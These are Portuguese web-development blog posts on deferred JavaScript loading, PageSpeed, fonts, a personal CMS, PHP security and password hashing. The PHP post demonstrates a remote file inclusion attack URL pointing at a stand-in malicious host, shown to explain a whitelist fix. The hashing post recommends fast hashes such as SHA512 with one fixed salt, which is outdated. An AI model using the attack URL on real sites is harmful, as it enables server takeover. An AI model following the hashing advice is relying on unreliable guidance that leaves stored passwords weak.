A visualizar apenas posts da categoria Programação Web

Depois de ter escrito sobre o Page Speed comecei à procura de uma maneira para carregar o jQuery de forma diferida, mas encontrei vários problemas.

Após várias horas perdidas cheguei a uma solução eficaz.

Carregamento diferido de Javascript

O carregamento forma assíncrona de Javascript em HTML5 é simples, basta adicionar a propriedade async à tag <script> e está feito. Se o browser não suportar este método simplesmente ignora a propriedade e faz o carregamento de forma normal.

1
<script src="script.js" async></script>

Mas no meu caso eu tenho o jQuery separado das minhas funções e o ficheiro mais pequeno de funções carrega primeiro que o jQuery devolvendo um erro. Uma ideia é juntar tudo num só ficheiro, mas eu estou a carregar o jQuery a partir do Google.

O que posso fazer aqui é usar a propriedade defer que faz o carregamento de forma assíncrona mas executa os scripts pela ordem que são chamados, independentemente do que carregar primeiro.

1
2
<script src="jquery.js" defer></script>
<script src="script.js" defer></script>

Óptimo, se o ficheiro script.js carregar primeiro o browser vai esperar pelo ficheiro jquery.js para ser executado, e se este não suportar o defer faz o carregamento normal. Isto é a teoria, na prática o Internet Explorer executa o que carregar primeiro e curiosamente o Chrome não suporta o defer que existe desde o IE4, mas suporta o async :-|

Carregar o jQuery de forma diferida

O ficheiro de funções precisa do jQuery, portanto é preciso verificar se o jQuery está carregado antes de o executar. Tentei várias formas e a melhor é criar uma função que se chama a si própria para verificar se o jQuery está disponível.

1
2
3
4
5
6
7
8
9
10
function init() {
  if (window.jQuery) {

    // Código dependente do jQuery fica aqui

  } else {
    window.setTimeout(init, 100);
  }
}
init();

Com esta função a substituir o típico $(function() {}); podemos carregar o jQuery de forma assíncrona sem qualquer problema.

Browsers sem suporte a async

Nos browsers sem suporte a async os scripts vão ser descarregados normalmente, portanto é aconselhável continuar a colocar este código antes de fechar o <body>.

Outra maneira é usar uma função como o Google Analytics ou o Facebook usa para carregar o código depois o window.onload mas pelos testes que efectuei, apesar do carregamento parecer mais rápido com o window.onload a ocorrer mais cedo, no total a página demora mais a carregar, tanto como chamar os scripts normalmente sem qualquer atributo. O lado positivo é que a funcionalidade é compatível com XHTML ou HTML4.

Velocidade de carregamento

Efectuei alguns testes de carregamento sem cache com 4 métodos e os resultados foram os seguintes:

Teste de carregamento diferido de Javascript

Os testes foram efectuados no Site dos Provérbios que está construído em HTML5 e usa jQuery. Achei curioso o facto de o carregamento dinâmico por Javascript (usado pelo Google Analytics) tornar mais lento o carregamento do site do que fazer um carregamento normal com uma chamada ao script sem qualquer atributo adicional, mas faz sentido porque existe uma chamada por AJAX após o site carregar.

Tanto o defer como o async tiveram o mesmo resultado, tendo eu optado pelo último por questões de compatibilidade com mais browsers. No entanto o defer faz mais sentido porque teoricamente respeita a hierarquia definida, mas na prática isso não acontece.

O Page Speed evoluiu de uma experiência do Labs para um serviço oficial do Google. Este analisa uma página do nosso site e devolve-nos algumas dicas para o tornarmos mais rápido.

Google Page Speed

Sempre fui fanático por optimização. Já no tempo da Sprint Total minimizava o código HTML à mão reduzindo os espaços, tabulações e quebras de linha. Se o ficheiro ficava mais pequeno, então o site seria mais rápido. E como usava o Dreamweaver em modo de design não me chateava muito ter o código ilegível. Ah, os bons velhos tempos da ignorância… :lol:

Mais de 10 anos passaram, a Web evoluiu e agora temos ficheiros CSS e JS em separado, sites dinâmicos e uma preocupação geral para tornar a web mais rápida. Começaram a aparecer os scripts de compressão e os serviços online para minimizar o código CSS e JS.

No entanto muitos de nós ainda não efectuam uma optimização ao seu código, quando em 10 minutos podemos tornar um site 1 a 2 segundos mais rápido.

Análise ao Site dos Provérbios

No Site dos Provérbios passei de um resultado de 89/100 para 96/100 com as dicas do Page Speed. Este site é a base para todos os meus novos projectos e encontra-se altamente optimizado.

Tem um sistema de cache que guarda o HTML minimizado e comprimido, assim como os ficheiros CSS e JS encontram-se comprimidos usando o método que partilhei no post “Compressão: Como tornar um site mais rápido”

Esse post foi actualizado com as dicas do Page Speed para melhorar o resultado aos utilizadores que navegam através de um proxy.

Mas como diz o provérbio “Em casa de ferreiro, espeto de pau”, é que os avisos que continuam por corrigir, e que são de simples resolução, são relacionados com conteúdo servido pelo Google Analytics e Fonts. Mas vindo do Google é normal, não nos podemos esquecer que o interface do Adwords teve uma altura que não funcionava com o Chrome.

Utilização do Page Speed

Podem analisar o vosso site em developers.google.com/pagespeed ou através de uma extensão do Google Chrome. Pessoalmente aconselho a extensão, tive algumas dificuldades ao fazer posteriores análises ao site, era como se este tivesse ficado em cache.

É devolvido um resultado ao estilo do YSlow do Yahoo! mas as dicas para optimização são mais intuitivas. Podem depois dar uma vista de olhos nos posts relacionados para obterem maneiras de tornar o vosso site mais rápido, caso ainda não o tenham feito.

O meu último projecto onde apliquei tudo o que sei tem um tema peculiar e nada virado para as tecnologias. Trata-se do Site dos Provérbios e serviu de base para criar o meu próprio CMS que irá ser utilizado nos meus restantes sites.

Painel de administração do Site dos Provérbios

A ideia surgiu há bastante tempo e partiu da minha avó! É verdade, ela sempre que ouvia um provérbio acabava por o escrever e eu lembrei-me de fazer um site com esse conteúdo. Fiz um formulário simples para a minha namorada ir inserindo o conteúdo mas como tive falta de tempo acabei por ir adiando o desenvolvimento do site.

Com o código do Mais Gasolina numa lástima e com um WordPress a ficar cada vez mais pesado decidi que com o Site dos Provérbios iria criar um CMS que funcionasse para todos os meus próximos projectos, com segurança e performance em mente e que fosse flexível para ser adaptado a vários tipos de sites.

Perdi algum tempo em testes de performance e a decidir qual a melhor estratégia. Foi de tal forma elaborado que até criei uma espécie de manual com regras sobre a formatação do código, a nomenclatura usada para as classes e uma lista de pontos a verificar antes de colocar um novo site em produção.

Este CMS foi programado em OOP e com o modelo MVC. E dizer isto hoje é como dizer há três anos atrás que fizeram um site da treta em Ruby-on-Rails e com Ajax e passam a ser os maiores programadores do mundo :lol: O backend também funciona todo ele por Ajax e torna-se trabalhoso porque o debug do Ajax no Opera Dragonfly é pobre. Não existe alternativa neste campo ao Firebug no Firefox.

No entanto depois de terminado é uma maravilha inserir conteúdo naquele backend e assim fico motivado para trabalhar nos meus projectos.

Tem incluído um sistema de cache que guarda o código HTML minimizado (sem tabulações nem novas linhas) e comprimido, servindo-o de imediato sem ligações ao MySQL nem nada do género. Isto reduz bastante a carga no servidor, torna o tempo de processamento mais rápido e o ficheiro mais leve.

O Site dos Provérbios é bastante simples, e mesmo o backend não tem nada de especial para ver. O que interessa mesmo é a complexidade que está por trás que torna tudo simples para mim, e acabo por conseguir lançar um projecto complexo em poucos dias, perdendo pouco tempo ou nenhum com programação.

E como se costuma dizer “Mais vale tarde do que nunca”

Na maioria dos websites o que mais salta à vista é a fonte utilizada para o seu conteúdo. Uma boa fonte pode ser a diferença entre cativar um leitor ou perder uma visita porque torna o nosso conteúdo desinteressante.

Mas será que utilizamos as nossas fontes correctamente?

Pangrama de tipografia

Existe um conjunto de fontes ou tipos de letra que são considerados seguros para utilizar na Web. Fontes como o Verdana, Tahoma e Arial podem ser usados com confiança pelos developers.

No entanto vamos desenvolver o nosso website e vamos usar aquela fonte bem gira que temos no nosso PC mas quando visualizamos o site noutro computador nada aparece de forma correcta. Temos duas opções, ou embebemos a fonte ou fornecemos uma alternativa.

Fontes embebidas – @font-face

Com o CSS3 finalmente vai passar a ser possível embeber fontes de uma forma funcional a todos os browsers. O Internet Explorer 5 já permitia isto, mas com código especifico da Microsoft como é hábito.

Desde que a fonte permita ser embebida podemos usar a mesma no nosso site. Um bom local para obter este tipo de fontes é o Google Web Fonts.

Esta é uma forma de garantir que o nosso design em termos tipográficos é semelhante em todas as máquinas, tenham o tipo de letra ou não. O problema é que em certas fontes isto implica descarregar até 200KB de informação e isto não faz sentido para um site generalista, talvez para um portfolio ou mesmo um blog pessoal como este.

Fontes alternativas – CSS Font Stacks

Um font stack é uma lista de fontes que são utilizadas caso o computador de quem nos visita não tenha a fonte inicial que definimos. Um exemplo definido pelo Dreamweaver:

1
div { font-family: Verdana, Geneva, sans-serif }

Se o utilizador não tiver a fonte Verdana instalada irá visualizar o site com a fonte Geneva. Se também não tiver esta fonte o conteúdo é apresentado pela fonte padrão do sistema operativo do tipo sans-serif.

Mas para definirmos fontes alternativas temos que saber que outro tipo de fontes semelhantes existem. O site Typetester é uma óptima ferramenta para esta função, colocando 3 blocos de texto lado a lado permitindo assim escolher várias fontes e comparar o tamanho e aspecto ocupado por cada uma.

Já sabemos as fontes semelhantes, mas será que elas estão disponíveis em todos os sistemas? Mais de 92% dos utilizadores na web usam Windows, o que facilita o trabalho, mas não nos podemos esquecer dos restantes 8%. E é necessário ter em conta que diferentes sites têm diferentes públicos e um site dedicado a Mac ou Linux certamente terá mais visitas destes sistemas operativos.

E aqui entra outra ferramenta, ou melhor um conjunto delas fornecido pelo site Code Style. Aqui podem submeter as fontes que têm instaladas para estatística, visualizar a disponibilidade das fontes em vários sistemas operativos e até criar font stacks com a indicação da percentagem de utilizadores com aquela fonte disponível.

Com estas duas ferramentas podemos por exemplo criar a alternativa ao código anterior fornecido pelo Dreamweaver com o seguinte:

1
div { font-family: Verdana, Geneva, "Lucida Sans", "DejaVu Sans", sans-serif }

O Verdana será visualizado por 99% dos utilizadores com Windows e Mac e por 70% dos utilizadores com Linux. O Geneva será visualizado por uma minoria com Mac e as fontes Lucida Sans e DejaVu Sans serão utilizadas pelos restantes 30% dos utilizadores em Linux.

Fontes e dispositivos móveis

Para dispositivos móveis a história é outra. No caso do Android navega-se com Droid Sans e mesmo o Opera Mini limita o tipo de fontes utilizado. Aqui as fontes são optimizadas para pequenos ecrãs e embora o resultado a nível estético não seja o melhor o texto fica legível de uma forma agradável.

Os programadores de PHP têm má fama pelos erros que fizeram no passado. Até eu já programei de forma incorrecta. Mas o PHP 4 está morto e enterrado e o PHP 5.2 já lá vai.

Está na altura de mudarmos os nossos métodos e programarmos PHP com segurança em mente.

Segurança em PHP

Já partilhei anteriormente umas dicas para tornar o nosso código devidamente formatado a pensar no futuro, agora partilho algumas dicas de segurança.

Com a quantidade de código que me passa pelas mãos e pelo contacto com alguns “programadores” o que percebo é que a segurança é da responsabilidade do servidor e nunca do programador. Uma firewall serve para bloquear IP’s e portas e o Mod Security é uma solução de último recurso e não deve ser utilizada como método de protecção.

O servidor onde possuem o vosso código é vosso? Têm controle sobre a sua configuração ou estão dependentes de um ISP num alojamento partilhado?

Quem programa à espera que um servidor seja seguro facilmente é atacado, especialmente quando não têm conhecimento das configurações e alterações efectuadas.

Exemplo de injecção de código

Ora, vamos supor que eu tenho um site com o seguinte código:

1
2
3
<?php
  include $_GET['pagina'] . '.php';
?>

Tudo muito inocente. Se eu aceder a site.com/index.php?pagina=contacto vou incluir o ficheiro contacto.php. Mas se o servidor onde me encontro tiver a opção allow_url_fopen activa isto é uma porta aberta a ataques.

Basta aceder a site.com/index.php?pagina=http://www.sitemalicioso.com/hack.php? e o vosso site está agora a correr o meu código e eu fiquei com acesso ao servidor.

Podem dizer que o allow_url_fopen é perigoso e devia ser desactivado, mas falham completamente o ponto. O código não é seguro.

A solução passa por criar uma whitelist com os nomes dos ficheiros que permitimos que sejam incluídos (por exemplo num Array ou numa base de dados) e uma verificação através de um RegEx que apenas permita caracteres alfanuméricos. Podemos até usar um simples switch:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
  // Definimos a página inicial
  $pagina = 'homepage';
    
  // Se existir um pedido $_GET['pagina'] verificamos a whitelist
  if ( isset($_GET['pagina']) ) {

    switch ($_GET['pagina']) {
      case 'contacto':
        $pagina = 'contacto';
        break;
      case 'quemsomos':
        $pagina = 'quemsomos';
        break;
    }
        
  }
    
  // Inclui o ficheiro
  include $pagina . '.php';
?>

Tudo o que é indicado pelo utilizador é perigoso

Todo o conteúdo submetido ao nosso script através de GET ou POST é e deve ser considerado perigoso. De boas intenções está o mundo cheio, já diz o provérbio, e com os utilizadores de um site aplica-se a mesma coisa.

Os ataques de injecção ao MySQL existem por isso mesmo, excesso de confiança. Lá apareceram funções para servirem como soluções rápidas, mas os programadores preguiçosos usaram isto como solução definitiva e deixam a segurança nas mãos de terceiros. Um bom exemplo é a opção magic_quotes que quando desactivada deixa um script aberto a injecções porque está mal programado.

Felizmente apareceu o mysql_real_escape_string que veio facilitar a vida a quem não sabe usar um addslashes e com o PDO então é uma maravilha fazer a validação de campos de forma rápida e eficiente.

Se controlamos tudo o que pode ser alterado pelo utilizador (inclusive links) é meio caminho andado para manter a nossa aplicação segura contra ataques comuns e worms ou trojans que se mantêm activos pela web à procura destas falhas.

Manter o nosso código seguro

Sempre que estamos a programar devemos perguntar a nós próprios: Um utilizador consegue alterar os dados aqui presentes? Será que este método é seguro?

E se vamos usar uma nova funcionalidade devemos procurar se existem possíveis falhas de segurança que possam advir da sua má utilização, os chamados pitfalls.

Não devemos também colocar uma solução online sem a tentar atacar primeiro. Como é que eu sei que um método de segurança funciona se não o tento ultrapassar?

E não pensem que isto serve apenas para utilizadores avançados porque não têm conhecimentos sobre este tema. Uma rápida pesquisa pelo Google vai encontrar milhões de exemplos de código seguro e funções para evitar ataques ao vosso código. Basta copiar alguns exemplos, testar localmente e adaptar às vossas necessidades e mesmo o manual do PHP vai ajudar nestas situações.

Ultimamente tem-se falado muito nos ataques a bases de dados e na divulgação de dados pessoais. Nenhuma aplicação é imune, mas será que pelo menos dificultam a vida aos hackers quando ficam com a vossa base de dados?

Segurança

Tem-me passado muito código pelas mãos que está mal executado, mas o que realmente me faz confusão são as palavra-passe em texto (plain-text) guardadas numa base de dados.

É engraçado abrir o phpMyAdmin e ver que a palavra-passe do admin é password123 em vez de 482c811da5d5b4bc6d497ffa98491e38 por exemplo.

E nós como utilizadores conseguimos saber se uma palavra-passe está a ser guardada localmente, basta fazer a recuperação de password e consultar se o texto devolvido é o mesmo que colocamos anteriormente.

Encriptação

Quando guardamos uma palavra-passe numa base de dados nunca guardamos a palavra-passe em si mas uma hash que corresponde à palavra-passe. Mas depois não sei a pass ou tenho que a decriptar pensam vocês. Nada disto é necessário.

Quando um utilizador se autentica no vosso website o que fazemos é encriptar o texto que o utilizador colocou e comparar a hash resultante com a hash que temos na nossa base de dados. Devemos usar uma hash que apenas permita a encriptação como o SHA512 ou o Whirlpool. O MD5 e o SHA1 não são aconselhados por serem rápidos a criar a hash, um computador pode resolver uma password com 6 caracteres numa questão de horas. Ao contrário de tudo o resto, ao criar uma hash quanto mais lento, melhor!

Desta forma se o vosso website for atacado e base de dados for obtida por um hacker ele apenas vai ter acesso a um monte de hash’s, mas isso não quer dizer que o nosso conteúdo esteja protegido.

Rainbow Tables e Salt

Existem listas, chamadas Rainbow Tables, de hash’s encriptadas que permitem efectuar uma pesquisa pela hash e obter o valor a que corresponde. Se numa Rainbow Table procurarmos por 482c811da5d5b4bc6d497ffa98491e38 possivelmente vamos obter o resultado password123.

Estas tabelas usam principalmente palavras comuns, disponíveis no dicionário e se não obrigamos os nossos utilizadores a colocar palavras-passe complexas estamos em risco. A maneira de resolver esta situação é aplicar Salt (Sal, literalmente).

Os utilizadores são preguiçosos e não ligam a segurança. Uma password para eles deve ser simples. É má prática, mas se não fazemos nada contra isso podemos criar mecanismos de protecção. Um deles, na encriptação de palavras-passe é a utilização de Salt.

Vamos supor que o utilizador tem password123 definida mas em vez de encriptarmos este valor adicionamos Salt ao inicio da password e encriptamos a password como fe#S7password123. A nossa hash vai ser totalmente diferente e uma Rainbow Table muito dificilmente terá este valor. O nosso Salt é então fe#S7 e devemos usar o mesmo quando o utilizador fizer a sua autenticação.

Espero que não seja necessário dizer isto, mas o Salt deve sempre ser guardado server-side, não coloquem o Salt num input de um formulário. Mas de qualquer forma aqui fica um exemplo:

1
2
3
4
5
<?php
  define( 'SALT', 'fe#S7' );
  $password = 'password123';
  $hash = hash( 'sha512', SALT . $password );
?>

O Salt está pré-definido no servidor, a variável $password é fornecida pelo utilizador e no final encriptamos ambos os valores para obter uma hash com Salt.

Isto já é consideravelmente seguro, mas podemos fazer melhor. No meu exemplo estou a usar um Salt pequeno, este deve ser maior. Podemos também aplicar mais Salt no meio de uma password ou no final para a tornar mais complexa. Também podemos alterar a hash retornada e aplicar também Salt nesse valor. Mas esta opção já é complexa e necessita de valores aleatórios para cada password, caso contrário ao olharmos para 5 hash’s facilmente verificamos qual é o Salt utilizado.

Encriptação online de palavras-chave

Fujam a sete pés de sites que criam hash’s online. Nem todos são maliciosos mas muitos usam os valores colocados pelos utilizadores para popular Rainbow Tables, criando um precedente para que a vossa palavra-passe seja insegura no caso de um ataque a um site onde estejam registados e seja usada a encriptação sem Salt.

Se querem testar hash’s devem sempre criar o vosso script e não ficar dependente de serviços de terceiros pois nunca sabemos o que é efectuado com os nossos dados.

Programar com segurança em mente

Espero que esta entrada no blog vos faça repensar como programam e guardam os dados dos utilizadores em base de dados.

Se programam mal e são atacados o problema é vosso, mas se dados de terceiros são perdidos por falta de atenção a estes detalhes então já estamos a por em causa a segurança dos outros.

Nota:
Foi usado como exemplo uma hash gerada em MD5 (482c811da5d5b4bc6d497ffa98491e38), apesar de advertir contra o uso deste algoritmo para encriptação de passwords. Este foi usado por gerar uma hash mais pequena que SHA512 (32 contra 128 caracteres), tornando a leitura do artigo mais amigável.

O HTML5 e o CSS3 são a next big thing da Internet e os developers espumam-se da boca com certos efeitos que podem ser produzidos com código que estavam reservados a imagens ou Javascript complexo.

As novidades do CSS3 são fantásticas, mas é necessária alguma precaução.

CSS3

Tenho andado a fazer várias experiências com HTML5 e CSS3 e já desenvolvi alguns projectos a utilizar estas novas especificações, embora ainda não sejam suportadas a 100%. No entanto são casos muito específicos onde a utilização é feita com browsers que suportam estas funcionalidades.

Com toda esta experiência que obtive verifiquei que alguns browsers fazem transições lentas ou arrastam-se quando fazemos scroll na página. Isto é especialmente notado quando usamos as propriedades box-shadow e border-radius em conjunto, especialmente no Safari.

E em computadores mais fracos em termos de processamento até o Opera e o Chrome se engasgam.

Eu sou a favor que se use o CSS3 com toda a força, mas sempre com progressive enhancement em mente. Devemos criar uma boa experiência em todos os browsers (esqueçam o IE6 e 7) e garantir uma experiência superior ou um carregamento mais rápido com recurso a CSS3 caso o browser o suporte. Existem vários artigos interessantes na Net sobre como o fazer.

Verifiquem no entanto, dependendo do público alvo de um website, se o processamento de um efeito em CSS3 não se torna mais penoso em termos de processamento do que o carregamento de uma imagem para fazer um background e tenham em mente que uma poupança de 900 bytes é negativa se tivermos um site que é lento a fazer efeitos de fade e se o scroll faz com que o browser se arraste.

Para o utilizador final a culpa é do developer por ter criado um site lento, e não do utilizador por ter um computador lento. E eles até têm muita razão ;)

 
Copyright © 1985 - 2017 Eduardo Maio. Alguns direitos reservados.
eduardomaio.net - Às vezes mais valia ser Agricultor do que Programador
Ao navegar no blog eduardomaio.net está a concordar com os termos legais e de privacidade.